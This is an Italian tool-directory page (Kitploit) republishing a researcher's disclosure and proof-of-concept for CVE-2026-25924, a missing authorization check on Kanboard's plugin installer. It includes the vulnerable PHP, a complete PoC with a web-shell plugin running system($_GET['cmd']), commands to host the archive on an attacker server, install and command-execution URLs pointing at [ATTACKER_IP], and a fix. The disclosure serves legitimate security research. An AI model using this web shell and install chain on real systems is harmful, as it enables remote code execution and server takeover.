Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-25924 — Proof-of-concept exploit per CVE-2026-25924, che dimostra l'esecuzione remota di codice a livello amministrativo in Kanboard tramite un controllo di accesso mancante sull'installazione dei plugin. | Kitploit
Strumenti/GitHubGitHub/drkim-dev/cve-2026-25924
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPenetration TestingSviluppo Payload
GitHubdrkim-dev/cve-2026-25924

CVE-2026-25924

Proof-of-concept exploit per CVE-2026-25924, che dimostra l'esecuzione remota di codice a livello amministrativo in Kanboard tramite un controllo di accesso mancante sull'installazione dei plugin.

Vedi Repository
2237 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-25924 PoC - RCE amministrativa in Kanboard

Proof-of-Concept per RCE amministrativa tramite bypass dei controlli di sicurezza

Divulgazione: Segnalata originariamente da me tramite GHSA-grch-p7vf-vc4f

⚠️ Solo per test di penetrazione/ricerca autorizzati.

Informazioni sulla vulnerabilità

CampoValore
ID CVECVE-2026-25924
Gravità🔴 Alta
Punteggio CVSS8.4
Vettore CVSS[CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H]
CWECWE-863: Autorizzazione errata
Prodotto interessatoKanboard ≤ 1.2.49
Versione corretta1.2.50
AvvisoGHSA-grch-p7vf-vc4f

CVE-2026-25924: Controllo degli accessi mancante sull'installazione dei plugin porta a RCE amministrativa

1. Riepilogo

Una vulnerabilità di bypass dei controlli di sicurezza in Kanboard v1.2.49 consente a un amministratore autenticato di ottenere la piena Esecuzione Remota di Codice (RCE). Sebbene l'applicazione nasconda correttamente l'interfaccia di installazione dei plugin quando la configurazione PLUGIN_INSTALLER è impostata su false, l'endpoint backend sottostante non verifica questa impostazione di sicurezza. Un attaccante può sfruttare questa svista per forzare il server a scaricare e installare un plugin dannoso, portando all'esecuzione di codice arbitrario.

  • Tipo di vulnerabilità: CWE-863 (Autorizzazione errata) / CWE-94 (Iniezione di codice)
  • Gravità: Alta (RCE amministrativa)
  • Versione interessata: Kanboard <= v1.2.49

2. Dettagli

1
2

Kanboard utilizza una costante di sicurezza PLUGIN_INSTALLER per limitare la possibilità di installare plugin da URL remoti. Questa è definita in app/constants.php:

File: app/constants.php

root@kitploit:~
21: defined('PLUGIN_INSTALLER') or define('PLUGIN_INSTALLER', strtolower(getenv('PLUGIN_INSTALLER')) === 'true'); // Disabled by default for security reasons

L'applicazione verifica correttamente questa impostazione nei metodi di rendering dell'interfaccia utente del PluginController, come show() e directory(), utilizzando Installer::isConfigured():

File: app/Controller/PluginController.php

root@kitploit:~
22:     public function show()
23:     {
...
28:             'is_configured' => Installer::isConfigured(),
29:         )));
30:     }

Tuttavia, il metodo install() nello stesso controller non esegue questo controllo. Valida solo il token CSRF prima di procedere al download e all'installazione di un plugin da un URL arbitrario fornito nel parametro archive_url.

Codice vulnerabile in app/Controller/PluginController.php:

root@kitploit:~
56:     public function install()
57:     {
58:         $this->checkCSRFParam();
59:         $pluginArchiveUrl = urldecode($this->request->getStringParam('archive_url'));
60: 
61:         try {
62:             $installer = new Installer($this->container);
63:             $installer->install($pluginArchiveUrl); // <--- VULNERABILITY: Missing check for Installer::isConfigured()
64:             $this->flash->success(t('Plugin installed successfully.'));
65:         } catch (PluginInstallerException $e) {
66:             $this->flash->failure($e->getMessage());
67:         }
68: 
69:         $this->response->redirect($this->helper->url->to('PluginController', 'show'));
70:     }

Poiché Installer::install() non verifica nemmeno la costante PLUGIN_INSTALLER, un amministratore può bypassare la restrizione prevista semplicemente accedendo direttamente all'endpoint con un token CSRF valido. Una volta installato, il plugin dannoso viene automaticamente caricato ed eseguito dal Kanboard\Core\Plugin\Loader, garantendo all'attaccante la piena RCE.

3. Proof of Concept (PoC)

Passo 1: Creare un plugin dannoso

Creare una directory denominata Exploit con un file Plugin.php:

root@kitploit:~
<?php
namespace Kanboard\Plugin\Exploit;
use Kanboard\Core\Plugin\Base;

class Plugin extends Base {
    public function initialize() {
        // Web shell listener
        if (isset($_GET['cmd'])) {
            system($_GET['cmd']);
        }
    }
}

Passo 2: Ospitare l'archivio del plugin

Comprimere la cartella e ospitarla su un server controllato dall'attaccante:

root@kitploit:~
zip -r exploit.zip Exploit/
python3 -m http.server 80
8

Passo 3: Attivare l'installazione

Accedere a Kanboard come amministratore. Ottenere il proprio csrf_token dal sorgente della pagina e navigare a: http://[TARGET_IP]:8080/?controller=PluginController&action=install&archive_url=http://[ATTACKER_IP]/exploit.zip&csrf_token=[YOUR_TOKEN] 3 image image

Passo 4: Eseguire comandi remoti

Utilizzare il parametro cmd per eseguire comandi di sistema arbitrari: http://[TARGET_IP]:8080/?controller=DashboardController&action=show&cmd=id

6
7

4. Impatto

Questa vulnerabilità consente a un amministratore di bypassare le restrizioni di sicurezza imposte dall'host. Ottenendo la RCE, l'attaccante può:

  • Leggere/scrivere file arbitrari sul server (ad es. /etc/passwd, config.php).
  • Accedere ed esportare l'intero database.
  • Spostarsi lateralmente nella rete interna.
  • Mantenere accesso persistente tramite web shell o reverse shell.

5. Mitigazione consigliata

Aggiungere un controllo per Installer::isConfigured() all'inizio dei metodi install() e update() in app/Controller/PluginController.php:

root@kitploit:~
if (! Installer::isConfigured()) {
    throw new AccessForbiddenException();
}
Scarica lo strumento